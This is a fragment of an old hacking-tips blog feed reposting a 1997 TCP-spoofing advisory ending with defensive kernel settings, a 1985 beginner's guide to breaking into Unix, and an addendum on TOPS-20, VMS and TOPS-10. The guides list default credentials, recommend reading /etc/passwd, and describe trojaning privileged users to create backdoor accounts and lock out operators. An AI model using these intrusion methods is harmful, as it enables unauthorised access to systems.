via:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forwarding 0&lt;br /&gt;&lt;br /&gt;These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- SunOS 4.x&lt;br /&gt;&lt;br /&gt;We know of no method to prevent SunOS from accepting source routed&lt;br /&gt;connections, however a patch is availible to prevent SunOS systems from&lt;br /&gt;forwarding source routed packets.&lt;br /&gt;&lt;br /&gt;This patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz&lt;br /&gt;&lt;br /&gt;To configure SunOS to prevent forwarding of all packets, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem&lt;br /&gt;# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem&lt;br /&gt;&lt;br /&gt;The first command turns off packet forwarding in /dev/mem, the second in&lt;br /&gt;/vmunix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- HP-UX&lt;br /&gt;&lt;br /&gt;HP-UX does not appear to have options for configuring an HP-UX system to&lt;br /&gt;prevent accepting or forwarding of source routed packets.  HP-UX has IP&lt;br /&gt;forwarding turned on by default and should be turned off if acting as a&lt;br /&gt;firewall.  To determine whether IP forwarding is currently on, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# adb /hp-ux&lt;br /&gt;ipforwarding?X      &lt;- user input&lt;br /&gt;ipforwarding:&lt;br /&gt;ipforwarding: 1&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;A response of 1 indicates IP forwarding is ON, 0 indicates off.  HP-UX can&lt;br /&gt;be configured to prevent the forwarding of any packets via the following&lt;br /&gt;commands:&lt;br /&gt;&lt;br /&gt;# adb -w /hp-ux /dev/kmem&lt;br /&gt;ipforwarding/W 0&lt;br /&gt;ipforwarding?W 0&lt;br /&gt;^D&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;--- AIX&lt;br /&gt;&lt;br /&gt;AIX cannot be configured to discard source routed packets destined for itself,&lt;br /&gt;however can be configured to prevent the forwarding of source routed packets.&lt;br /&gt;IP forwarding and forwarding of source routed packets specifically can be&lt;br /&gt;turned off under AIX via the following commands:&lt;br /&gt;&lt;br /&gt;To turn off forwarding of all packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o ipforwarding=0&lt;br /&gt;&lt;br /&gt;To turn off forwarding of source routed packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o nonlocsrcroute=0&lt;br /&gt;&lt;br /&gt;Note that these commands should be added to /etc/rc.net&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If shutting off source routing is not possible and you are still using&lt;br /&gt;services which rely on IP address authentication, they should be disabled&lt;br /&gt;immediately (in.rshd, in.rlogind).  in.rlogind is safe if .rhosts and&lt;br /&gt;/etc/hosts.equiv are not used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attributions&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;Thanks to Niels Provos &lt;provos@physnet.uni-hamburg.de&gt; for providing&lt;br /&gt;the information and details of this attack.  You can view his web&lt;br /&gt;site at http://www.physnet.uni-hamburg.de/provos&lt;br /&gt;&lt;br /&gt;Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this&lt;br /&gt;information to us.  More information on OpenBSD can be found at&lt;br /&gt;http://www.openbsd.org&lt;br /&gt;&lt;br /&gt;Thanks to Keith Bostic &lt;bostic@bsdi.com&gt; for discussion and a quick&lt;br /&gt;solution for BSD/OS.&lt;br /&gt;&lt;br /&gt;Thanks to Brad Powell &lt;brad.powell@west.sun.com&gt; for providing information&lt;br /&gt;for Solaris 2.x and SunOS 4.x operating systems.&lt;br /&gt;&lt;br /&gt;Thanks go to CERT and AUSCERT for recommendations in this advisory.&lt;br /&gt;&lt;br /&gt;You can contact the author of this advisory at oliver@secnet.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;br /&gt;Version: 2.6.3ia&lt;br /&gt;&lt;br /&gt;mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1&lt;br /&gt;A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd&lt;br /&gt;Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR&lt;br /&gt;tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO&lt;br /&gt;fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8&lt;br /&gt;45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU&lt;br /&gt;qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=&lt;br /&gt;=xq4f&lt;br /&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;br /&gt;&lt;br /&gt;Copyright Notice&lt;br /&gt;~~~~~~~~~~~~~~~~&lt;br /&gt;The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,&lt;br /&gt;and may be distributed freely provided that no fee is charged for&lt;br /&gt;distribution, and that proper credit is given.&lt;br /&gt;&lt;br /&gt; You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers&lt;br /&gt; and advisories at ftp://ftp.secnet.com/advisories&lt;br /&gt;&lt;br /&gt; You can browse our web site at http://www.secnet.com&lt;br /&gt;&lt;br /&gt; You can subscribe to our security advisory mailing list by sending mail to&lt;br /&gt; majordomo@secnet.com with the line "subscribe sni-advisories"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-4803277934470957445?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qzBiTpwIC_Ld6DNbbcp9AWHuUE8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qzBiTpwIC_Ld6DNbbcp9AWHuUE8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qzBiTpwIC_Ld6DNbbcp9AWHuUE8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qzBiTpwIC_Ld6DNbbcp9AWHuUE8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/I1SAmrIRmiI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/4803277934470957445/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=4803277934470957445" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/4803277934470957445?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/4803277934470957445?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/I1SAmrIRmiI/simple-tcp-spoofing-attack.html" title="A simple TCP spoofing attack" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/simple-tcp-spoofing-attack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcCQno9eip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-459993395366292403</id><published>2008-08-12T07:56:00.002-07:00</published><updated>2008-08-12T07:57:43.462-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T07:57:43.462-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="UNIX" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>A BEGINNERS GUIDE TO HACKING UNIX</title><content type="html">**************************************  *       A BEGINNERS GUIDE TO:        *  *          H A C K I N G             *  *                                    *  *                U N I X             *  *                                    *  *          BY JESTER SLUGGO          *  * (NOTE: THIS IS WRITTEN IN 40 COL.) *  *         WRITTEN 10/08/85           *  **************************************    IN THE FOLLOWING FILE, ALL REFERENCES  MADE TO THE NAME UNIX, MAY ALSO BE  SUBSTITUTED TO THE XENIX OPERATING  SYSTEM.    BRIEF HISTORY:  BACK IN THE EARLY  SIXTIES, DURING THE DEVELOPMENT OF  THIRD GENERATION COMPUTERS AT MIT,  A GROUP OF PROGRAMMERS STUDYING THE  POTENTIAL OF COMPUTERS, DISCOVERED  THEIR ABILITY OF PERFORMING TWO OR  MORE TASKS SIMULTANEOUSLY.  BELL  LABS, TAKING NOTICE OF THIS DISCOVERY,  PROVIDED FUNDS FOR THEIR DEVELOPMENTAL  SCIENTISTS TO INVESTIGATE INTO THIS  NEW FRONTIER.  AFTER ABOUT 2 YEARS OF  DEVELOPMENTAL RESEARCH, THEY PRODUCED  AN OPERATING SYSTEM THEY CANLMD "UNIX".    SIXTIES TO CURRENT:  DURING THIS TIME  BELL SYSTEMS INSTALLED THE UNIX SYSTEM  TO PROVIDE THEIR COMPUTER OPERATORS  WITH THE ABILITY TO MULTITASK SO THAT  THEY COULD BECOME MORE PRODUCTIVE,  AND EFFICIENT.  ONE OF THE SYSTEMS THEY PUT ON THE UNIX SYSTEM WAS CALLED  "ELMOS". THROUGH ELMOS MANY TASKS (I.E. BILLING,AND INSTALLATION RECORDS) COULD  BE DONE BY MANY PEOPLE USING THE SAME  MAINFRAME.    NOTE: COSMOS IS ACCESSED THROUGH THE  ELMOS SYSTEM.    CURRENT:  TODAY, WITH THE DEVELOPMENT  OF MICRO COMPUTERS, SUCH MULTITASKING  CAN BE ACHIEVED BY A SCALED DOWN  VERSION OF UNIX (BUT JUST AS  POWERFUL).  MICROSOFT,SEEING THIS  DEVELOPMENT, OPTED TO DEVELOP THEIR OWN  UNIX LIKE SYSTEM FOR THE IBM LINE OF  PC/XT'S.  THEIR RESULT THEY CALLED  XENIX (PRONOUNCED ZEE-NICKS).  BOTH  UNIX AND XENIX CAN BE EASILY INSTALLED&lt;br /&gt;ON IBM PC'S AND OFFER THE SAME FUNCTION&lt;br /&gt;(JUST 2 DIFFERENT VENDORS).&lt;br /&gt;&lt;br /&gt;NOTE: DUE TO THE MANY DIFFERENT&lt;br /&gt;VERSIONS OF UNIX (BERKLEY UNIX,&lt;br /&gt;BELL SYSTEM III, AND SYSTEM V&lt;br /&gt;THE MOST POPULAR) MANY COMMANDS&lt;br /&gt;FOLLOWING MAY/MAY NOT WORK. I HAVE&lt;br /&gt;WRITTEN THEM IN SYSTEM V ROUTINES.&lt;br /&gt;UNIX/XENIX OPERATING SYSTEMS WILL&lt;br /&gt;BE CONSIDERED IDENTICAL SYSTEMS BELOW.&lt;br /&gt;&lt;br /&gt;HOW TO TELL IF/IF NOT YOU ARE ON A&lt;br /&gt;UNIX SYSTEM:  UNIX SYSTEMS ARE QUITE&lt;br /&gt;COMMON SYSTEMS ACROSS THE COUNTRY.&lt;br /&gt;THEIR SECURITY APPEARS AS SUCH:&lt;br /&gt;&lt;br /&gt;LOGIN;     (OR LOGIN;)&lt;br /&gt;PASSWORD:&lt;br /&gt;&lt;br /&gt;WHEN HACKING ON A UNIX SYSTEM IT IS&lt;br /&gt;BEST TO USE LOWERCASE BECAUSE THE UNIX&lt;br /&gt;SYSTEM COMMANDS ARE ALL DONE IN LOWER-&lt;br /&gt;CASE.&lt;br /&gt;LOGIN; IS A 1-8 CHARACTER FIELD. IT IS&lt;br /&gt;USUALLY THE NAME (I.E. JOE OR FRED)&lt;br /&gt;OF THE USER, OR INITIALS (I.E. J.JONES&lt;br /&gt;OR F.WILSON).  HINTS FOR LOGIN NAMES&lt;br /&gt;CAN BE FOUND TRASHING THE LOCATION OF&lt;br /&gt;THE DIAL-UP (USE YOUR CN/A TO FIND&lt;br /&gt;WHERE THE COMPUTER IS).&lt;br /&gt;PASSWORD: IS A 1-8 CHARACTER PASSWORD&lt;br /&gt;ASSIGNED BY THE SYSOP OR CHOSEN BY THE&lt;br /&gt;USER.&lt;br /&gt;      COMMON DEFAULT LOGINS&lt;br /&gt;   --------------------------&lt;br /&gt;   LOGIN;       PASSWORD:&lt;br /&gt;   ROOT         ROOT,SYSTEM,ETC..&lt;br /&gt;   SYS          SYS,SYSTEM&lt;br /&gt;   DAEMON       DAEMON&lt;br /&gt;   UUCP         UUCP&lt;br /&gt;   TTY          TTY&lt;br /&gt;   TEST         TEST&lt;br /&gt;   UNIX         UNIX&lt;br /&gt;   BIN          BIN&lt;br /&gt;   ADM          ADM&lt;br /&gt;   WHO          WHO&lt;br /&gt;   LEARN        LEARN&lt;br /&gt;   UUHOST       UUHOST&lt;br /&gt;   NUUCP        NUUCP&lt;br /&gt;&lt;br /&gt;IF YOU GUESS A LGIN NAME AND YOU ARE&lt;br /&gt;NOT ASKED FOR A PASSWORD, AND HAVE&lt;br /&gt;ACCESSED TO THE SYSTEM, THEN YOU HAVE&lt;br /&gt;WHAT IS KNOWN AS A NON-GIFTED ACCOUNT.&lt;br /&gt;IF YOU GUESS A CORRECT LOGIN AND PASS-&lt;br /&gt;WORD, THEN YOU HAVE A USER ACCOUNT.&lt;br /&gt;AND, IF YOU GUESS THE ROOT PASSWORD,&lt;br /&gt;THEN YOU HAVE A "SUPER-USER" ACCOUNT.&lt;br /&gt;ALL UNIX SYSTEMS HAVE THE FOLLOWING&lt;br /&gt;INSTALLED TO THEIR SYSTEM:&lt;br /&gt;ROOT, SYS, BIN, DAEMON, UUCP, ADM&lt;br /&gt;ONCE YOU ARE IN THE SYSTEM, YOU WILL&lt;br /&gt;GET A PROMPT. COMMON PROMPTS ARE:&lt;br /&gt;&lt;br /&gt;$&lt;br /&gt;%&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;BUT CAN BE JUST ABOUT ANYTHING THE&lt;br /&gt;SYSOP OR USER WANTS IT TO BE.&lt;br /&gt;&lt;br /&gt;THINGS TO DO WHEN YOU ARE IN: SOME&lt;br /&gt;OF THE COMMANDS THAT YOU MAY WANT TO&lt;br /&gt;TRY FOLLOW BELOW:&lt;br /&gt;&lt;br /&gt;WHO IS ON  (SHOWS WHO IS CURRENTLY&lt;br /&gt;            LOGGED ON THE SYSTEM.)&lt;br /&gt;WRITE NAME (NAME IS THE PERSON YOU&lt;br /&gt;            WISH TO CHAT WITH)&lt;br /&gt;      TO EXIT CHAT MODE TRY CTRL-D.&lt;br /&gt;      EOT=END OF TRANSFER.&lt;br /&gt;LS -A      (LIST ALL FILES IN CURRENT&lt;br /&gt;            DIRECTORY.)&lt;br /&gt;DU -A      (CHECKS AMOUNT OF MEMORY&lt;br /&gt;            YOUR FILES USE;DISK USAGE)&lt;br /&gt;CD\NAME    (NAME IS THE NAME OF THE&lt;br /&gt;            SUB-DIRECTORY YOU CHOOSE)&lt;br /&gt;CD\        (BRINGS YOUR HOME DIRECTORY&lt;br /&gt;            TO CURRENT USE)&lt;br /&gt;CAT NAME   (NAME IS A FILENAME EITHER&lt;br /&gt;            A PROGRAM OR DOCUMENTATION&lt;br /&gt;            YOUR USERNAME HAS WRITTEN)&lt;br /&gt;      MOST UNIX PROGRAMS ARE WRITTEN&lt;br /&gt;      IN THE C LANGUAGE OR PASCAL&lt;br /&gt;      SINCE UNIX IS A PROGRAMMERS'&lt;br /&gt;      ENVIRONMENT.&lt;br /&gt;ONE OF THE FIRST THINGS DONE ON THE&lt;br /&gt;SYSTEM IS PRINT UP OR CAPTURE (IN A&lt;br /&gt;BUFFER) THE FILE CONTAINING ALL USER&lt;br /&gt;NAMES AND ACCOUNTS. THIS CAN BE DONE&lt;br /&gt;BY DOING THE FOLLOWING COMMAND:&lt;br /&gt;&lt;br /&gt;CAT /ETC/PASSWD&lt;br /&gt;&lt;br /&gt;IF YOU ARE SUCCESSFUL YOU WILL A LIST&lt;br /&gt;OF ALL ACCOUNTS ON THE SYSTEM.  IT&lt;br /&gt;SHOULD LOOK LIKE THIS:&lt;br /&gt;&lt;br /&gt;ROOT:HVNSDCF:0:0:ROOT DIR:/:&lt;br /&gt;JOE:MAJDNFD:1:1:JOE COOL:/BIN:/BIN/JOE&lt;br /&gt;HAL::1:2:HAL SMITH:/BIN:/BIN/HAL&lt;br /&gt;&lt;br /&gt;THE "ROOT" LINE TELLS THE FOLLOWING&lt;br /&gt;INFO :&lt;br /&gt;LOGIN NAME=ROOT&lt;br /&gt;HVNSDCF   = ENCRYPTED PASSWORD&lt;br /&gt;0         = USER GROUP NUMBER&lt;br /&gt;0         = USER NUMBER&lt;br /&gt;ROOT DIR  = NAME OF USER&lt;br /&gt;/         = ROOT DIRECTORY&lt;br /&gt;&lt;br /&gt;IN THE JOE LOGIN, THE LAST PART&lt;br /&gt;"/BIN/JOE " TELLS US WHICH DIRECTORY&lt;br /&gt;IS HIS HOME DIRECTORY (JOE) IS.&lt;br /&gt;&lt;br /&gt;IN THE "HAL" EXAMPLE THE LOGIN NAME IS&lt;br /&gt;FOLLOWED BY 2 COLONS, THAT MEANS THAT&lt;br /&gt;THERE IS NO PASSWORD NEEDED TO GET IN&lt;br /&gt;USING HIS NAME.&lt;br /&gt;&lt;br /&gt;CONCLUSION:  I HOPE THAT THIS FILE&lt;br /&gt;WILL HELP OTHER NOVICE UNIX HACKERS&lt;br /&gt;OBTAIN ACCESS TO THE UNIX/XENIX&lt;br /&gt;SYSTEMS THAT THEY MAY FIND. THERE IS&lt;br /&gt;STILL WIDE GROWTH IN THE FUTURE OF&lt;br /&gt;UNIX, SO I HOPE USERS WILL NOT ABUSE&lt;br /&gt;ANY SYSTEMS (UNIX OR ANY OTHERS) THAT&lt;br /&gt;THEY MAY HAPPEN ACROSS ON THEIR&lt;br /&gt;JOURNEY ACROSS THE ELECTRONIC HIGHWAYS  OF AMERICA.  THERE IS MUCH MORE TO BE  LEARNED ABOUT THE UNIX SYSTEM THAT I  HAVE NOT COVERED.  THEY MAY BE FOUND  BY BUYING A BOOK ON THE UNIX SYSTEM  (HOW I LEARNED) OR IN THE FUTURE  I MAY WRITE A PART II TO THIS........   Downloaded from P-80 Systems......&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-459993395366292403?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/NxMORy36rzvWwj00Ne52Ihh3oX4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NxMORy36rzvWwj00Ne52Ihh3oX4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/NxMORy36rzvWwj00Ne52Ihh3oX4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NxMORy36rzvWwj00Ne52Ihh3oX4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/ih2Ci10AWuA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/459993395366292403/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=459993395366292403" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/459993395366292403?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/459993395366292403?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/ih2Ci10AWuA/beginners-guide-to-hacking-unix.html" title="A BEGINNERS GUIDE TO HACKING UNIX" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/beginners-guide-to-hacking-unix.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcEQHw9eip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-5304977510782887911</id><published>2008-08-12T07:56:00.001-07:00</published><updated>2008-08-12T07:56:41.262-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T07:56:41.262-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>A Novice's Guide To Hacking</title><content type="html">This file is an addendum to "A Novice's Guide To Hacking" written by "The&lt;br /&gt;Mentor".  The word "hacking" is here used the way the non-hacking public&lt;br /&gt;thinks it is used, to mean breaking into somebody else's computer.  Its&lt;br /&gt;purpose is to expand and clarify the information about the TOPS-20 operating&lt;br /&gt;system, which runs on DECsystem-20 mainframes.  The Mentor basically lumped&lt;br /&gt;this system in with TOPS-10 and didn't note important differences between the&lt;br /&gt;two.  I will here reproduce in full what The Mentor had to say about TOPS-10&lt;br /&gt;and about VMS, which are the parent and the offspring of TOPS-20.&lt;br /&gt;&lt;br /&gt;VMS-       The VAX computer is made by Digital Equipment Corporation (DEC),&lt;br /&gt;           and runs the VMS (Virtual Memory System) operating system.&lt;br /&gt;           VMS is characterized by the 'Username:' prompt.  It will not tell&lt;br /&gt;           you if you've entered a valid username or not, and will disconnect&lt;br /&gt;           you after three bad login attempts.  It also keeps track of all&lt;br /&gt;           failed login attempts and informs the owner of the account next time&lt;br /&gt;           s/he logs in how many bad login attempts were made on the account.&lt;br /&gt;           It is one of the most secure operating systems around from the&lt;br /&gt;           outside, but once you're in there are many things that you can do&lt;br /&gt;           to circumvent system security.  The VAX also has the best set of&lt;br /&gt;           help files in the world.  Just type HELP and read to your heart's&lt;br /&gt;           content.&lt;br /&gt;           Common Accounts/Defaults:  [username: password [[,password]] ]&lt;br /&gt;           SYSTEM:     OPERATOR or MANAGER or SYSTEM or SYSLIB&lt;br /&gt;           OPERATOR:   OPERATOR&lt;br /&gt;           SYSTEST:    UETP&lt;br /&gt;           SYSMAINT:   SYSMAINT or SERVICE or DIGITAL&lt;br /&gt;           FIELD:      FIELD or SERVICE&lt;br /&gt;           GUEST:      GUEST or unpassworded&lt;br /&gt;           DEMO:       DEMO  or unpassworded&lt;br /&gt;           DECNET:     DECNET&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DEC-10-    An earlier line of DEC computer equipment, running the TOPS-10&lt;br /&gt;           operating system.  These machines are recognized by their&lt;br /&gt;           '.' prompt.  The DEC-10/20 series are remarkably hacker-friendly,&lt;br /&gt;           allowing you to enter several important commands without ever&lt;br /&gt;           logging into the system.  Accounts are in the format [xxx,yyy] where&lt;br /&gt;           xxx and yyy are integers.  You can get a listing of the accounts and&lt;br /&gt;           the process names of everyone on the system before logging in with&lt;br /&gt;           the command .systat (for SYstem STATus).  If you seen an account&lt;br /&gt;           that reads [234,1001]   BOB JONES, it might be wise to try BOB or&lt;br /&gt;           JONES or both for a password on this account.  To login, you type&lt;br /&gt;           .login xxx,yyy  and then type the password when prompted for it.&lt;br /&gt;           The system will allow you unlimited tries at an account, and does&lt;br /&gt;           not keep records of bad login attempts.  It will also inform you&lt;br /&gt;           if the UIC you're trying (UIC = User Identification Code, 1,2 for&lt;br /&gt;           example) is bad.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           1,2:        SYSLIB or OPERATOR or MANAGER&lt;br /&gt;           2,7:        MAINTAIN&lt;br /&gt;           5,30:       GAMES&lt;br /&gt;&lt;br /&gt;**** note:  I'm remembering this stuff from several years ago, and in some&lt;br /&gt;cases my memory may be foggy or stuff may be outdated.&lt;br /&gt;&lt;br /&gt;TOPS-20, once you are inside, resembles VMS much more than it resembles &lt;br /&gt;TOPS-10, as far as I know (I'm not really familiar with VMS).  From the&lt;br /&gt;outside, it's more like TOPS-10, except that the prompt is a @ instead of a&lt;br /&gt;period.  You can enter many commands without logging in, including SYSTAT and&lt;br /&gt;probably FINGER.  (Sometimes you can even use the mail program without&lt;br /&gt;logging in.)  It is very helpful.  Not only does the command HELP lead to&lt;br /&gt;lots of useful information, but anywhere in typing a command you can press ?&lt;br /&gt;and it will tell you what the format of the command expects.  For instance,&lt;br /&gt;if you type ? by itself, it will tell you all the words that a command can&lt;br /&gt;begin with.  If you type S?, it will tell you all the commands that start&lt;br /&gt;with the letter S.  If you type SYSTAT ?, it will tell you the options&lt;br /&gt;available on the systat command.  You can use this at any point in any&lt;br /&gt;command.  Furthermore, if there is only one possibility (you have typed a&lt;br /&gt;unique abbreviation), you can press Escape and it will finish the word for&lt;br /&gt;you.  I'm not sure, but I think TOPS-20 was the system that first introduced&lt;br /&gt;filename completion as well --turning a uniquely abbreviated filename into a&lt;br /&gt;complete name when you press escape, beeping if the abbreviation is not&lt;br /&gt;unique.  With command keywords you can leave the abbreviation un-expanded,&lt;br /&gt;with filenames you have to expand it (or type it all in) for it to work.&lt;br /&gt;&lt;br /&gt;Use the "Login" command to log in, followed by a username.  It will prompt&lt;br /&gt;for a password.  Note that a password can be something like 39 characters&lt;br /&gt;long, as can the username itself.  TOPS-20 does NOT use numbers like 317,043&lt;br /&gt;for user IDs.  (Note that these numbers in TOPS-10 are octal, not decimal.)&lt;br /&gt;Furthermore, the password can contain spaces.  So, if somebody wants to make&lt;br /&gt;his password difficult to guess, he can easily do so.&lt;br /&gt;&lt;br /&gt;(But sometimes they might get overconfident.  I remember a story from&lt;br /&gt;Stanford...  Someone asked the large cheese if he would let him know what the&lt;br /&gt;operator password was, and he said "The operator password is currently&lt;br /&gt;unavailable."  So the guy tried "currently unavailable" as a password, and&lt;br /&gt;got in.  (Which reminds me of the time they got a real bug in the system&lt;br /&gt;there...  a head crash caused by an ant on the disk platter.))&lt;br /&gt;&lt;br /&gt;In general, TOPS-20 does not limit the number of login attempts, nor does it&lt;br /&gt;keep a record of bad tries.  However, it is not difficult for the local&lt;br /&gt;management to add such measures, or others such as a delay of several seconds&lt;br /&gt;after each attempt.  And unlike Unix, it is difficult to evade these even&lt;br /&gt;once you're in.  Without heavy in-depth knowledge, you can't test a username-&lt;br /&gt;password combination except through a system call, which will enforce delays&lt;br /&gt;and limited failures and such against password-trying programs.&lt;br /&gt;&lt;br /&gt;So, TOPS-20 is easy to defend against the "database hack", in which you try&lt;br /&gt;many different common passwords with many different usernames.  (Unix is&lt;br /&gt;much more vulnerable to this.)  But any particular system, especially a lax&lt;br /&gt;one like a college machine (DEC is always popular in academia), might have&lt;br /&gt;little defense here.  But you might not know how much defense until too late.&lt;br /&gt;&lt;br /&gt;Do try the GUEST username.&lt;br /&gt;&lt;br /&gt;But TOPS-20 can be very vulnerable to trojan horses.  See, there's this thing&lt;br /&gt;called the Wheel bit.  A username that has the Wheel property can do anything&lt;br /&gt;the system operator can do, such as ignore file protection masks, edit the&lt;br /&gt;disks at the track/sector level, change any area of memory...  On Unix, only&lt;br /&gt;one user, the superuser, can read and write protected files.  On TOPS-20, any&lt;br /&gt;user can do these things from any terminal, if the Wheel attribute is set in&lt;br /&gt;his user data.  Some campus computers tend to accumulate excess trusted users&lt;br /&gt;with wheel bits, and have to periodically prune away the unnecessary ones.&lt;br /&gt;&lt;br /&gt;The thing is that a wheel can do these things without knowing that he has&lt;br /&gt;done them.  Normally the privileged commands are deactivated.  But a program&lt;br /&gt;run by a wheel can activate the privileges, do anything it wants, cover its&lt;br /&gt;tracks, and deactivate them without the user ever being the wiser.  So if you&lt;br /&gt;can get any wheel user to run any program you wrote, such as a game or small&lt;br /&gt;utility...  there's no limit to what you can do.  In particular, you can&lt;br /&gt;create a new username, and make it a wheel.  Or you can simply ask the system&lt;br /&gt;outright for someone's password, if I'm not mistaken.  (All this requires&lt;br /&gt;access to TOPS-20 programming manuals, but some of the necessary material&lt;br /&gt;should be available on line.)  You cannot actually conceal this creation, as&lt;br /&gt;far as I know...  but maybe with sophisticated enough knowledge you could&lt;br /&gt;make it not immediately apparent...  Anyway, once you get that far in, you can&lt;br /&gt;probably keep one step ahead of them for a while...  If they erase your new&lt;br /&gt;accounts, you can use the passwords to old ones...  They can change all of&lt;br /&gt;the wheel passwords, but a lot of the regular users won't change for some&lt;br /&gt;time...  You could even lock the operators out of their own system by&lt;br /&gt;changing all their passwords for them, if you were crazy enough, perhaps&lt;br /&gt;forcing them to shut the machine down to regain control of it.  They might&lt;br /&gt;even have to restore stuff from tape backup.&lt;br /&gt;&lt;br /&gt;Even if you don't wedge your way into secret stuff, a TOPS-20 system can be&lt;br /&gt;fun to explore.  It's much more novice-friendly than most systems, and much&lt;br /&gt;more hacker-friendly as well.  I think the ascendency of Unix as the least-&lt;br /&gt;common-denominator OS that everybody can agree on is a definite loss,&lt;br /&gt;compared to TOPS-20.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-5304977510782887911?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
